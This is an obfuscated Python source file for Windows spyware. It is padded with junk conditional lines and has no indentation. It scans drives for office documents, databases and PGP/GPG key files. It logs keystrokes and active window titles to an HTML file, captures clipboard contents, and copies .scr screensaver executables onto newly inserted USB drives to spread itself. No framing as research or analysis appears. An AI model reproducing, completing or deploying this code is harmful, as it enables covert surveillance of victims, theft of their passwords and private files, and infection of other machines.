except Exception,llIll1Il:
print llIll1Il
except Exception,llIll1Il:
print llIll1Il
if 98-98:Il/z2zzzz2Z2zZ2
if 62-62:z2zz2Zzz%ZzZzzz-l111lIIllI111+Il1lII-Il11II
if 25-25:zZ2
z222z2z2z=win32api.GetLogicalDriveStrings()
if 75-75:Il1lII-z2zzzz2Z2zZ2*zZ2/z2zzzz2Z2zZ2/z2zzzz2Z2zZ2
if 23-23:l1ll1lIll
if 10-10:zZ2*z2zz2Zzz+II1IIl1ll%Il1lII-l1l
z222z2z2z=z222z2z2z.split('\000')[:-1]
if 33-33:zzz.I1Il1l1IIl1I-Il/Z2zZZ22.l1ll1lIll
if 8-8:z22z22zz
z222z2z2z.reverse()
I111I1I1l=str(z222z2z2z)
if 33-33:ll11I1l11ll/z22z22zz/Il11II
if 40-40:l111lIIllI111.II1IIl1ll+Il%zZ2
for Z2Zzzzz2z in I111I1I1l:
zZZzZ='%c:\\'%(Z2Zzzzz2z)
I1l1lIIIIlII=win32file.GetDriveType(zZZzZ)
if 32-32:Il11II/Z2zZZ22*z22z22zz%I1Il1l1IIl1I+ZzZzzz-I1Il1l1IIl1I
if 26-26:l1ll1lIll-zzz+ll1ll11ll1II-zzz*ll11I1l11ll
if 9-9:Il1lII/ll11I1l11ll+Z2zZZ22.ll1ll11ll1II
if I1l1lIIIIlII==win32file.DRIVE_FIXED or I1l1lIIIIlII==win32file.DRIVE_REMOVABLE:
zZZzZ
z2Zz=zZZzZ[:1]
if 69-69:zZ2+Il1ll1llll*Il
if 17-17:zzz
def ZZZz(dirname=zZZzZ,extension="."):
for lIlI11111I,zzzz2z2,II11 in os.walk(dirname):
if 48-48:zzz-Il11II-Z2zZZ22-l1l/zzz2
if 27-27:z22z22zz%zzz2.Il%I1Il1l1IIl1I
try:
for zzZZ2zzZ2 in II11:
z2ZZZZ=os.path.join(lIlI11111I,zzZZ2zzZ2)
if 69-69:Il.l1ll1lIll%ZzZzzz%l111lIIllI111
if 39-39:ll11I1l11ll
if 21-21:l111lIIllI111/Il*zzz
if 82-82:II1IIl1ll+Il1lII*zZ2*I1Il1l1IIl1I
try:
Z22z2=lIlI11111I.split('\\')
if 78-78:Il11II.I111Il1I11l-zzz*I1Il1l1IIl1I.l1l*ZzZzzz
if 14-14:Il*ll1ll11ll1II*Il11II*Z2zZZ22
if 80-80:Il%Il1ll1llll-l1l-Il1ll1llll+l1l-l111lIIllI111
try:
Ilzzz=Z22z2[3]
except:
Ilzzz="none"
if Z22z2[1]=="Program Files" or Ilzzz=="AppData" or Z22z2[1]=="Program Files (x86)" or Z22z2[1]=="Windows.old" or Z22z2[1]=="ProgramData" or Z22z2[1]=="Windows" or Z22z2[1]=="Archivos de programa" or Z22z2[1]=="WINDOWS":
pass
else:
if 97-97:z22z22zz/Il1lII
if 19-19:II1IIl1ll*z2zzzz2Z2zZ2.l1l/Il1ll1llll
if 76-76:z2zz2Zzz%I1Il1l1IIl1I/I111Il1I11l*z22z22zz
try:
(I1I1IlIl,ll1l1l1l11l1)=os.path.splitext(zzZZ2zzZ2)
except Exception,llIll1Il:
print llIll1Il
if 33-33:ll1ll11ll1II*I1Il1l1IIl1I/z2zz2Zzz/l111lIIllI111/Il1ll1llll
if 74-74:II1IIl1ll-Il1lII
if 62-62:I1Il1l1IIl1I%Il1lII-l111lIIllI111
if 86-86:I111Il1I11l%ll11I1l11ll+z2zz2Zzz/l1ll1lIll
try:
if ll1l1l1l11l1==".doc" or ll1l1l1l11l1==".docx" or ll1l1l1l11l1==".xls" or ll1l1l1l11l1==".xlsx" or ll1l1l1l11l1==".ppt" or ll1l1l1l11l1==".pptx" or ll1l1l1l11l1==".jpg" or ll1l1l1l11l1==".db" or ll1l1l1l11l1==".mdb" or ll1l1l1l11l1==".pgp" or ll1l1l1l11l1==".skr" or ll1l1l1l11l1==".pkr" or ll1l1l1l11l1==".asc" or ll1l1l1l11l1==".gpg" or ll1l1l1l11l1==".drw" or ll1l1l1l11l1==".lpt" or ll1l1l1l11l1==".shp" or ll1l1l1l11l1==".rte" or ll1l1l1l11l1==".sda" or ll1l1l1l11l1==".odp" or ll1l1l1l11l1==".sxi" or ll1l1l1l11l1==".odt" or ll1l1l1l11l1==".sxw" or ll1l1l1l11l1==".ods" or ll1l1l1l11l1==".sxc" or ll1l1l1l11l1==".odg" or ll1l1l1l11l1==".sxd" or ll1l1l1l11l1==".odb" or ll1l1l1l11l1==".odf" or ll1l1l1l11l1==".sxm":
II=time.ctime(os.path.getmtime(z2ZZZZ))
if 93-93:z2zzzz2Z2zZ2/Il-zzz*zZ2
if 51-51:zzz/Il1lII.ZzZzzz/zzz.ll1ll11ll1II
if 73-73:Il1ll1llll.l1l
zzzzz2=II.split(' ')
z222=len(zzzzz2)
if 62-62:Il1lII/Il1lII
if 22-22:zzz2.II1IIl1ll/Z2zZZ22%ll11I1l11ll.ll11I1l11ll/l111lIIllI111
if 11-11:l1l/Il1lII
try:
z22ZZ22=open(l1+zzzzz2[z222-1],"a")
if 39-39:zzz+ZzZzzz.zzz2%ll11I1l11ll.zzz2.l1ll1lIll
if 39-39:l1l%I1Il1l1IIl1I%l1ll1lIll+zZ2+Il11II
except Exception,llIll1Il:
if 66-66:I111Il1I11l
if 12-12:Il11II.zzz2
z22ZZ22=open(l1+zzzzz2[z222-1],"w")
if 64-64:zzz+ll1ll11ll1II+zzz2.z2zz2Zzz/Il1ll1llll
if 100-100:z22z22zz/ll1ll11ll1II/Z2zZZ22
if 86-86:l1ll1lIll
z22ZZ22.write(z2ZZZZ+" === "+zzZZ2zzZ2+ll1l1l1l11l1+'\n')
z22ZZ22.close()
except Exception,llIll1Il:
print llIll1Il
except Exception,llIll1Il:
print llIll1Il
except Exception,llIll1Il:
print llIll1Il
if 27-27:ll11I1l11ll+l1ll1lIll.Il1ll1llll/l1l*Il1ll1llll
ZZZz()
except Exception,llIll1Il:
print llIll1Il
if 13-13:Z2zZZ22%Il1ll1llll
if 89-89:z2zzzz2Z2zZ2
if 99-99:Il11II.zZ2.l1l-ZzZzzz+I111Il1I11l-Il1ll1llll
Zz22={8:'(bksp)',9:'(tab)',13:'(Enter)',19:'(Paus)',20:'(BMayus)',27:'(ESC)',32:'(Barr-espa)',33:'(pag-up)',34:'(pag-dn)',35:'(END)',36:'(home)',37:'(Fle-Iz)',38:'(Fle-Arr)',39:'(Fle-Der)',40:'(Fle-Aba)',44:'(Prt-Scr)',45:'(INSET)',46:'(Desjr)',48:'0',49:'1',50:'2',51:'3',52:'4',53:'5',54:'6',55:'7',56:'8',57:'9',64:'@',65:'a',66:'b',67:'c',68:'d',69:'e',70:'f',71:'g',72:'h',73:'i',74:'j',75:'k',76:'l',77:'m',78:'n',79:'o',80:'p',81:'q',82:'r',83:'s',84:'t',85:'u',86:'v',87:'w',88:'x',89:'y',90:'z',91:'(Win-Izq)',92:'(Win-Dcha)',93:'(App)',96:'(#0)',97:'(#1)',98:'(#2)',99:'(#3)',100:'(#4)',101:'(#5)',102:'(#6)',103:'(#7)',104:'(#8)',105:'(#9)',106:'#(*)',107:'#(+)',109:'#(-)',110:'#(.)',111:'#(/)',112:'(F1)',113:'(F2)',114:'(F3)',115:'(F4)',116:'(F5)',117:'(F6)',118:'(F7)',119:'(F8)',120:'(F9)',121:'(F10)',122:'(F11)',123:'(F12)',144:'(Bloq#)',145:'(scrolllock)',160:'(Shitf-Izq)',161:'(Shitf-Der)',162:'(CTRL-Izq)',163:'(CTRL-Der)',164:'(ALT-Izq)',165:'(ALT-Dcha)',186:';',187:'=',188:',',189:'-',190:'.',191:'/',192:'~',219:'[',220:'\\',221:']',222:"'"}
if 84-84:I1Il1l1IIl1I*z22z22zz
if 16-16:I1Il1l1IIl1I%II1IIl1ll%I1Il1l1IIl1I-l1l-z2zz2Zzz
class z2Z22ZZz2zzz():
try:
f=open(ll1llllIIl+'\\Hser',"a")
except Exception,e:
try:
f=open(ll1llllIIl+'\\Hser',"w")
except Exception,e:
pass
try:
f.write('</font></b><br><b><font color="#00F">--------------</font></b><br>')
except Exception,e:
print e
try:
f.write('</font></b><br><b><font color="#00F"> Date: '+time.asctime()+"</font></b><br>")
except Exception,e:
if 11-11:I111Il1I11l*l1ll1lIll+l1ll1lIll%zzz2%l111lIIllI111
if 71-71:II1IIl1ll.l111lIIllI111*I111Il1I11l
if 83-83:I111Il1I11l*ZzZzzz+Il1lII
if 54-54:I111Il1I11l
print e
try:
f.close()
except Exception,e:
print e
def onApp(self,appname):
if 60-60:l1ll1lIll%l111lIIllI111-l1ll1lIll%Il/ll1ll11ll1II
if 43-43:I1Il1l1IIl1I/l1l-Il*Il*l111lIIllI111.II1IIl1ll
if 74-74:l111lIIllI111.ll1ll11ll1II/ZzZzzz.I111Il1I11l
try:
try:
self.f=open(ll1llllIIl+'\\Hser',"a")
if 62-62:l111lIIllI111
if 9-9:Il1lII-l111lIIllI111%ll11I1l11ll
if 61-61:z2zzzz2Z2zZ2*z2zz2Zzz-zzz-I111Il1I11l+zZ2*ll1ll11ll1II
except Exception,llIll1Il:
self.f=open(ll1llllIIl+'\\Hser',"w")
if appname!=self.app:
if 33-33:Il1ll1llll/Il*ll11I1l11ll*I111Il1I11l*l1ll1lIll
if 11-11:z2zzzz2Z2zZ2.ll11I1l11ll
if 15-15:Il.ll11I1l11ll%Il
try:
self.app=appname
self.f.write('</font</b><br><b><font color="#00F">-----------------</font></b><br>')
except Exception,llIll1Il:
print llIll1Il
try:
self.f.write('</font></b><br><font color="#00F">Date: '+time.asctime()+'</font><br><b>Winw:'+self.app+'</b>:<br><font color="#FF0000"><b>')
except Exception,llIll1Il:
print llIll1Il
if 49-49:zzz2
try:
sys.stdout.write('</font><br><br><b><font color="#00F">Date: '+time.asctime()+'</font></b><br><b>Winw: '+self.app+':</b><br><b><font color="#FF0000"><b>')
except Exception,llIll1Il:
print llIll1Il
if 30-30:l1l%z2zz2Zzz-l1ll1lIll.Il1lII*zzz2
if 17-17:Il1ll1llll*l1ll1lIll%l1l-z2zz2Zzz/II1IIl1ll.ZzZzzz
if 38-38:Il/ll11I1l11ll.ZzZzzz
try:
self.f.close()
except Exception,llIll1Il:
print llIll1Il
except Exception,llIll1Il:
print llIll1Il
if 17-17:Il1ll1llll%zzz-I1Il1l1IIl1I-II1IIl1ll.Il1lII
if 48-48:Il+Il-zzz2
if 58-58:l111lIIllI111/II1IIl1ll+zzz2
if 13-13:Il*Il1lII%zZ2-Il1lII-ZzZzzz
if 91-91:z22z22zz.Il1lII
def onKeyboardEvent(self,event):
try:
Il11l1ll1=event.KeyID
l1l1ll11I1IlI=event.Ascii
if 47-47:Il/Il11II*z2zzzz2Z2zZ2-l1ll1lIll%l1ll1lIll
if 81-81:zZ2.zZ2/I1Il1l1IIl1I
if 11-11:z2zz2Zzz.Z2zZZ22/l1ll1lIll
if 16-16:z2zzzz2Z2zZ2%z2zzzz2Z2zZ2.l1ll1lIll
try:
self.onApp(event.WindowName)
except Exception,llIll1Il:
print llIll1Il
try:
self.f=open(ll1llllIIl+'\\Hser',"a")
except Exception,llIll1Il:
self.f=open(ll1llllIIl+'\\Hser',"w")
if((Il11l1ll1 in range(48,91))or(Il11l1ll1 in range(96,112))or(Il11l1ll1 in range(186,223))or(Il11l1ll1==32)):
try:
sys.stdout.write(chr(l1l1ll11I1IlI))
except Exception,llIll1Il:
print llIll1Il
if 26-26:ll11I1l11ll*Z2zZZ22-ZzZzzz
if 64-64:I111Il1I11l
if 47-47:ll1ll11ll1II
if 72-72:zzz+l1l.z22z22zz*l1ll1lIll%l1ll1lIll
try:
self.f.write(chr(l1l1ll11I1IlI))
except Exception,llIll1Il:
print llIll1Il
if 42-42:II1IIl1ll*I111Il1I11l%II1IIl1ll+l111lIIllI111/z2zzzz2Z2zZ2
if 89-89:Il1lII.I111Il1I11l*z22z22zz/Il
if 9-9:zzz2-I1Il1l1IIl1I/Z2zZZ22/z22z22zz
if 78-78:Il1lII+Il11II-Z2zZZ22/z2zz2Zzz
if Il11l1ll1==8:
sys.stdout.write('\b\x00\x00\b')
if 91-91:zzz2.l1l
if 88-88:l111lIIllI111+l1l.l111lIIllI111*l1l/ll11I1l11ll
self.f.write('</font></b><font color="#000">[DEL]</font><b><font color="#FF0000">')
if(Il11l1ll1==9):
if 44-44:Il%l1ll1lIll
if 93-93:zZ2*z2zz2Zzz%l1l.ZzZzzz.Il1ll1llll
sys.stdout.write('\t')
self.f.write('</font></b><br><font color="#FF0000">\t<b>')
if 77-77:ll1ll11ll1II/z22z22zz/Il11II%I1Il1l1IIl1I
if 1-1:I111Il1I11l%Il-ZzZzzz+Il1ll1llll-l1l+l111lIIllI111
if 68-68:l111lIIllI111
if 9-9:l111lIIllI111+I1Il1l1IIl1I
if(Il11l1ll1==13):
sys.stdout.write('\t|')
self.f.write('</font></b><br><font color="#FF0000">\t|<b>')
if 75-75:Il1ll1llll*l111lIIllI111-l1l+zzz%ll1ll11ll1II/ll1ll11ll1II
if 38-38:Il-Il1ll1llll+Il1lII
if 64-64:zzz%z2zz2Zzz-z2zz2Zzz/zZ2*Il1ll1llll
if 85-85:z22z22zz/II1IIl1ll%zzz2+zzz
elif((Il11l1ll1 not in range(48,91))and(Il11l1ll1 not in range(96,112))and(Il11l1ll1 not in range(160,162))and(Il11l1ll1 not in range(186,223))and(Il11l1ll1!=32)and(Il11l1ll1!=8)and(Il11l1ll1!=9)and(Il11l1ll1!=13)):
try:
if 19-19:Il
if 70-70:ll1ll11ll1II%Z2zZZ22.Il11II+Il1ll1llll*zzz
sys.stdout.write("[%s]"%(Zz22[Il11l1ll1]))
if 54-54:z2zz2Zzz+l1l-z22z22zz+II1IIl1ll
if 81-81:ll1ll11ll1II
if 50-50:zzz2/z2zz2Zzz
self.f.write('</b></font></b><font color="#000">'+"[%s]"%(Zz22[Il11l1ll1])+'</font><b><font color="#FF0000">')
if 58-58:ll11I1l11ll*z2zz2Zzz/z2zzzz2Z2zZ2.l1ll1lIll
if 33-33:ZzZzzz%l111lIIllI111.I1Il1l1IIl1I
if 82-82:ZzZzzz/ll1ll11ll1II-z2zz2Zzz*z2zzzz2Z2zZ2
if 72-72:l1l
except Exception,llIll1Il:
sys.stdout.write("[%d]"%(Il11l1ll1))
self.f.write("[%d]"%(Il11l1ll1))
if 67-67:l1l/z22z22zz
if 42-42:Il1ll1llll%I111Il1I11l
print "[%d]"
self.f.close()
if 24-24:ZzZzzz.Il11II+II1IIl1ll-Il1lII
return True
except Exception,llIll1Il:
if 11-11:I1Il1l1IIl1I+ll11I1l11ll*z2zz2Zzz.I1Il1l1IIl1I.Il11II
if 21-21:l1l+II1IIl1ll*zzz
print llIll1Il
if 85-85:zzz2/zzz/Il11II-zzz
if 19-19:I1Il1l1IIl1I%Il1ll1llll-z2zzzz2Z2zZ2+ll1ll11ll1II+I111Il1I11l
if 31-31:Il1lII.Il1lII
if 45-45:z22z22zz
if 66-66:II1IIl1ll%z2zzzz2Z2zZ2
def __init__(self):
try:
self.app=''
except Exception,llIll1Il:
print llIll1Il
if 29-29:l111lIIllI111/ll11I1l11ll.z22z22zz*Z2zZZ22/z2zzzz2Z2zZ2*Il1lII
if 64-64:ll1ll11ll1II%ll11I1l11ll-II1IIl1ll/z2zz2Zzz/l1l%I1Il1l1IIl1I
if 87-87:z2zzzz2Z2zZ2*Il11II/Il11II+II1IIl1ll*Il
if 55-55:ZzZzzz%zZ2
def z2Z():
if 58-58:Il11II%z2zzzz2Z2zZ2.l1l+z2zzzz2Z2zZ2-Il1lII
if 68-68:zzz2*I1Il1l1IIl1I/z2zzzz2Z2zZ2+z2zz2Zzz
if 15-15:zzz*II1IIl1ll*Z2zZZ22-zzz
try:
if 10-10:Z2zZZ22%II1IIl1ll%Il1ll1llll+l1ll1lIll+z22z22zz*zzz2
if 14-14:l1ll1lIll/l1ll1lIll.z2zz2Zzz+II1IIl1ll-Il1lII%Il
win32clipboard.OpenClipboard()
if 5-5:ll11I1l11ll%z2zz2Zzz+ll11I1l11ll+Il1lII/Il11II
if 81-81:ZzZzzz
if 76-76:Z2zZZ22/Il-I1Il1l1IIl1I/l1l
except Exception,llIll1Il:
if 45-45:Il1ll1llll.l1ll1lIll-ZzZzzz
if 27-27:zZ2%Z2zZZ22/zzz2
if 41-41:l1ll1lIll
print llIll1Il
if 88-88:ll1ll11ll1II/Z2zZZ22
if 32-32:l1l.ZzZzzz%z2zzzz2Z2zZ2*I1Il1l1IIl1I
if 12-12:zzz+ll11I1l11ll%zzz*z2zz2Zzz*Z2zZZ22
if 16-16:z22z22zz/ZzZzzz*I111Il1I11l+Il11II*l111lIIllI111
try:
if 99-99:Il1lII%l111lIIllI111.I1Il1l1IIl1I+Il/ll1ll11ll1II
if 73-73:Il1ll1llll+zZ2/Z2zZZ22/l1l+I1Il1l1IIl1I-z22z22zz
if 70-70:Il
if 92-92:z2zzzz2Z2zZ2.ll1ll11ll1II%Z2zZZ22
IIl1=win32clipboard.GetClipboardData(win32con.CF_TEXT)
if 64-64:ZzZzzz
if 51-51:Z2zZZ22%l1l*z2zz2Zzz%l1l/z22z22zz
if 38-38:ll1ll11ll1II*ZzZzzz-I1Il1l1IIl1I%zzz2-ZzZzzz
except Exception,llIll1Il:
IIl1=""
if 17-17:Il11II-ll11I1l11ll/l1ll1lIll*l1l%I111Il1I11l
if 26-26:I111Il1I11l-l1l
if 33-33:ll1ll11ll1II/Il1lII
if 51-51:Il1lII+zzz2+Il11II/l1ll1lIll*I1Il1l1IIl1I.l111lIIllI111
try:
win32clipboard.CloseClipboard()
if 75-75:ZzZzzz
if 51-51:zzz2-l1l-Il+ll11I1l11ll
except Exception,llIll1Il:
if 99-99:l1ll1lIll-Il1lII/I111Il1I11l*ll11I1l11ll+l111lIIllI111*II1IIl1ll
if 26-26:Il1lII.l1l%zzz
print llIll1Il
return IIl1
class z2ZZ2ZZ222(object):
def __init__(self):
try:
self.hPrev=0
self.first=True
self.win=win32ui.CreateFrame()
if 99-99:l1ll1lIll%l1l-II1IIl1ll*zZ2+Il11II
if 100-100:I1Il1l1IIl1I%Il11II.ll1ll11ll1II+zzz2
if 71-71:z2zzzz2Z2zZ2%l1l*l111lIIllI111.zzz2
self.win.CreateWindow(None,'',win32con.WS_OVERLAPPEDWINDOW)
if 61-61:zzz2*Il+l1ll1lIll/zZ2-ll1ll11ll1II
if 34-34:l111lIIllI111/I1Il1l1IIl1I.II1IIl1ll/z2zz2Zzz-l1ll1lIll
if 87-87:l1ll1lIll*Il%l1ll1lIll*I111Il1I11l.Il11II
self.win.HookMessage(self.OnDrawClipboard,win32con.WM_DRAWCLIPBOARD)
if 56-56:Il11II
if 93-93:ZzZzzz%ll11I1l11ll%l111lIIllI111%ll11I1l11ll+ll11I1l11ll
if 80-80:Il1ll1llll/l111lIIllI111%ll1ll11ll1II+zzz2%Il1lII
if 45-45:ll11I1l11ll+ll1ll11ll1II
self.win.HookMessage(self.OnChangeCBChain,win32con.WM_CHANGECBCHAIN)
if 88-88:z2zzzz2Z2zZ2-z22z22zz
if 13-13:Il.ZzZzzz.ZzZzzz+l1l
if 47-47:zzz+zzz2+l1l/z22z22zz
if 7-7:ll1ll11ll1II
self.win.HookMessage(self.OnDestroy,win32con.WM_DESTROY)
try:
self.hPrev=win32clipboard.SetClipboardViewer(self.win.GetSafeHwnd())
except win32api.error,I1lllIl111lI:
if win32api.GetLastError()==0:
print llIll1Il
else:
raise
except Exception,llIll1Il:
print llIll1Il
if 82-82:zzz.z2zz2Zzz+ll11I1l11ll.ZzZzzz/Il
if 77-77:II1IIl1ll.Il.z2zzzz2Z2zZ2%I111Il1I11l/I111Il1I11l
if 92-92:zzz
if 65-65:Il
if 11-11:zZ2
def OnChangeCBChain(self,*args):
try:
z2z22z,Z2ZZ222Zz2Z,Z2z2=args[-1][1:4]
if self.hPrev==Z2ZZ222Zz2Z:
self.hPrev=Z2z2
if self.hPrev:
win32api.SendMessage(self.hPrev,z2z22z,Z2ZZ222Zz2Z,Z2z2)
except Exception,llIll1Il:
print llIll1Il
if 12-12:Il+zZ2%z22z22zz+l1l
if 22-22:zzz*zzz/l1ll1lIll.I111Il1I11l
if 2-2:zzz
if 87-87:Il
def OnDrawClipboard(self,*args):
try:
z2z22z,Z2ZZ222Zz2Z,Z2z2=args[-1][1:4]
if self.first:
self.first=False
else:
zzzzz2=z2Z()
I1IlI1I1=win32gui
zZ2Zz22Z22=I1IlI1I1.GetWindowText(I1IlI1I1.GetForegroundWindow())
zZzZ2z2=open(ll1llllIIl+"\\Hser","a")
zZzZ2z2.write('<br /><b><font color="#00F">------------------</font><br />')
zZzZ2z2.write('<font color="#00F">Date: '+time.asctime()+"</font><br />")
zZzZ2z2.write("<strong>Windows: "+zZ2Zz22Z22+'</strong><br /')
zZzZ2z2.write('<br /><b><font color="#00F">------------------------</font><br />')
if 96-96:z22z22zz-II1IIl1ll
if 48-48:z2zzzz2Z2zZ2+ZzZzzz
if 85-85:l1ll1lIll
try:
zZzZ2z2.write('<strong><font color="#FF0000">'+zzzzz2+'</font></strong><br /><b><br />')
except Exception,llIll1Il:
print llIll1Il
zZzZ2z2.close()
if self.hPrev:
win32api.SendMessage(self.hPrev,z2z22z,Z2ZZ222Zz2Z,Z2z2)
except Exception,llIll1Il:
print llIll1Il
if 3-3:z2zz2Zzz.Il1lII
if 70-70:ZzZzzz.I111Il1I11l
if 100-100:l111lIIllI111+ZzZzzz
def OnDestroy(self):
try:
if self.hPrev:
win32clipboard.ChangeClipboardChain(self.win.GetSafeHwnd(),self.hPrev)
else:
win32clipboard.ChangeClipboardChain(self.win.GetSafeHwnd(),0)
except Exception,llIll1Il:
print llIll1Il
try:
z2l1lIll1IlIII=0x8000
if 55-55:zzz2%Z2zZZ22*l111lIIllI111-II1IIl1ll
if 84-84:z2zz2Zzz*ll11I1l11ll
if 9-9:l111lIIllI111*l1ll1lIll%II1IIl1ll%I1Il1l1IIl1I-z2zzzz2Z2zZ2.ll1ll11ll1II
if 98-98:Il1lII-ll11I1l11ll%ll1ll11ll1II.ZzZzzz+I111Il1I11l-ll1ll11ll1II
I1IlII1l=0x8001
IIl1I11I1I1=0x8002
if 67-67:zzz2
if 58-58:l1ll1lIll-l1l/Il11II+z2zz2Zzz
if 7-7:zzz
Zz22ZZz2z=0x8003
ZZz2=0x8004
if 88-88:zzz2.z2zz2Zzz/Il11II
if 21-21:zzz/zzz
l1lllllllII=0x8005
l1IIII11l11=0x0018
if 28-28:z22z22zz/Il1lII
if 74-74:l111lIIllI111%l1l-ZzZzzz
if 56-56:I1Il1l1IIl1I-l111lIIllI111
if 58-58:Z2zZZ22/Z2zZZ22-l1l-z2zz2Zzz-II1IIl1ll.Il
lII11II1l1lI=0x00000000
if 48-48:II1IIl1ll%l1l/z22z22zz%l1ll1lIll*Il11II%Il11II
if 61-61:l111lIIllI111-I111Il1I11l.l1ll1lIll
if 94-94:Z2zZZ22.l1l+zzz2-ll1ll11ll1II
zZzZZZ2Z2=0x00000001
if 1-1:Il%II1IIl1ll
if 87-87:Il1lII%Il.l111lIIllI111
if 9-9:zzz.ZzZzzz-z2zzzz2Z2zZ2-z2zz2Zzz
zZ2Zz2ZzZ2zZ2=0x00000002
zzZz2ZZZzZZ2=0x00000003
if 19-19:ll1ll11ll1II+II1IIl1ll
if 63-63:zzz%ZzZzzz
if 94-94:ll11I1l11ll
l11llI1=0x00000004
Illll=0x0001
if 22-22:Il1lII/zZ2+I1Il1l1IIl1I+ZzZzzz/I1Il1l1IIl1I/zzz
if 57-57:z2zzzz2Z2zZ2%zzz2*ll11I1l11ll%l1ll1lIll.II1IIl1ll
if 95-95:z2zzzz2Z2zZ2/Z2zZZ22+l1l-l1ll1lIll%Il11II
lIlI1II1l11l=0x0002
l1l11llI1III1=c_ushort
if 40-40:z2zz2Zzz-ZzZzzz/II1IIl1ll%l1ll1lIll-l1l*Il
if 93-93:II1IIl1ll*zzz
if 16-16:I1Il1l1IIl1I%l1ll1lIll*l111lIIllI111/zzz2
z222Z22Z2Zz=c_ulong
if 48-48:l111lIIllI111+I111Il1I11l
if 50-50:Il1lII.ZzZzzz%ll11I1l11ll
if 100-100:z2zzzz2Z2zZ2
class lIII1ll1(Structure):
_fields_=[("dbch_size",z222Z22Z2Zz),("dbch_devicetype",z222Z22Z2Zz),("dbch_reserved",z222Z22Z2Zz)]
class lI1l1I1I(Structure):
_fields_=[("dbcv_size",z222Z22Z2Zz),("dbcv_devicetype",z222Z22Z2Zz),("dbcv_reserved",z222Z22Z2Zz),("dbcv_unitmask",z222Z22Z2Zz),("dbcv_flags",l1l11llI1III1)]
def l11l(mask):
Il11I111I=0
while 1:
if(mask&(2**Il11I111I)):return Il11I111I
else:Il11I111I+=1
if 14-14:zzz%Il1ll1llll
class l1l1lI:
def __init__(self):
Il11IIlI={win32con.WM_DEVICECHANGE:self.onDeviceChange}
z2Z2Z2z=win32gui.WNDCLASS()
Z222Zzzzz22zz=z2Z2Z2z.hInstance=win32api.GetModuleHandle(None)
if 79-79:l1ll1lIll.zzz.z22z22zz/I111Il1I11l-l111lIIllI111+z22z22zz
if 6-6:II1IIl1ll-ll11I1l11ll
if 19-19:Il1lII.Il11II
z2Z2Z2z.lpszClassName="DeviceChangeDemo"
z2Z2Z2z.style=win32con.CS_VREDRAW|win32con.CS_HREDRAW;
z2Z2Z2z.hCursor=win32gui.LoadCursor(0,win32con.IDC_ARROW)
z2Z2Z2z.hbrBackground=win32con.COLOR_WINDOW
z2Z2Z2z.lpfnWndProc=Il11IIlI
ll1IlI1ll=win32gui.RegisterClass(z2Z2Z2z)
lIl=win32con.WS_OVERLAPPED|win32con.WS_SYSMENU
self.hwnd=win32gui.CreateWindow(ll1IlI1ll,"Device Change Demo",lIl,0,0,win32con.CW_USEDEFAULT,win32con.CW_USEDEFAULT,0,0,Z222Zzzzz22zz,None)
def onDeviceChange(self,hwnd,msg,wparam,lparam):
zZ22z2Zzz=lIII1ll1.from_address(lparam)
if 53-53:Il1lII
if 97-97:z2zz2Zzz-l1l-Il1ll1llll.zzz
if 33-33:l111lIIllI111*Z2zZZ22*I111Il1I11l/II1IIl1ll*ll11I1l11ll+Il
if 94-94:zzz2/I111Il1I11l
if 52-52:l1ll1lIll.Z2zZZ22/Il+zZ2+Il11II%I111Il1I11l
if 39-39:Il11II-zZ2*z22z22zz/z2zz2Zzz
if 80-80:l1ll1lIll
if wparam==z2l1lIll1IlIII:
Zz2zZz2Zzz=lI1l1I1I.from_address(lparam)
if 2-2:z22z22zz
if 60-60:z22z22zz%z2zz2Zzz*Z2zZZ22+ll1ll11ll1II
if 39-39:Il11II+ll11I1l11ll
if zZ22z2Zzz.dbch_devicetype==zZ2Zz2ZzZ2zZ2:
II111lI1111=l11l(Zz2zZz2Zzz.dbcv_unitmask)
if 10-10:Z2zZZ22%l1l%zzz2%ll1ll11ll1II.ll11I1l11ll
if 77-77:l1l%zzz%z2zz2Zzz
if 99-99:II1IIl1ll+I111Il1I11l*z22z22zz*I1Il1l1IIl1I-Il
Z22z222ZZ22zz=(chr(ord("A")+II111lI1111)+":\\")
try:
if 5-5:zzz-zZ2/ZzZzzz%II1IIl1ll
try:
III1=os.path.join(lI)
if 56-56:z2zz2Zzz/Il11II.II1IIl1ll%Il1ll1llll
if 89-89:I111Il1I11l
if 98-98:I1Il1l1IIl1I
os.chdir(III1)
llIIII=0
if 78-78:zZ2
if 65-65:ZzZzzz
if 13-13:I111Il1I11l.Z2zZZ22*Il1lII%zzz2
Z2Zzzzz2z={}
if 49-49:Il1lII%II1IIl1ll
if 53-53:Il+z2zz2Zzz.z22z22zz.Il11II
if 11-11:Z2zZZ22/I1Il1l1IIl1I%ZzZzzz
lIlIlZ2ZzzZZzZz=""
except Exception,llIll1Il:
print llIll1Il
try:
for II1 in os.listdir(III1):
if 15-15:Z2zZZ22-zzz2-I111Il1I11l.l1l.Z2zZZ22
if 62-62:Il1lII-l1ll1lIll.z2zzzz2Z2zZ2+zzz2
if 21-21:ll11I1l11ll.ZzZzzz*z2zz2Zzz+I1Il1l1IIl1I*zzz.l1ll1lIll
if 32-32:I1Il1l1IIl1I%l111lIIllI111*zZ2-I1Il1l1IIl1I
l1lI11ll1=os.path.splitext(II1)[1]
if 21-21:zzz2
if 94-94:l1ll1lIll
if l1lI11ll1==".scr":
try:
if 71-71:I1Il1l1IIl1I
shutil.copy(lI+II1,Z22z222ZZ22zz+"\\"+II1)
except:
pass
if 35-35:l1l+l1ll1lIll%l1ll1lIll-Il*l1l.ll1ll11ll1II
except Exception,llIll1Il:
print llIll1Il
try:
def ZzZz2(dirname=Z22z222ZZ22zz,extension="."):
for lIlI11111I,zzzz2z2,II11 in os.walk(dirname):
for ZzZZz in II11:
I111I=os.path.join(lIlI11111I,ZzZZz)
try:
(zzZZ22ZzZ2z,z22Zz)=os.path.splitext(ZzZZz)
except Exception,llIll1Il:
print llIll1Il
if 36-36:l111lIIllI111
if 41-41:Il11II%Il1ll1llll-zzz
if 77-77:II1IIl1ll/z22z22zz%z2zzzz2Z2zZ2*zzz2+Il/l1l
if 45-45:zZ2
try:
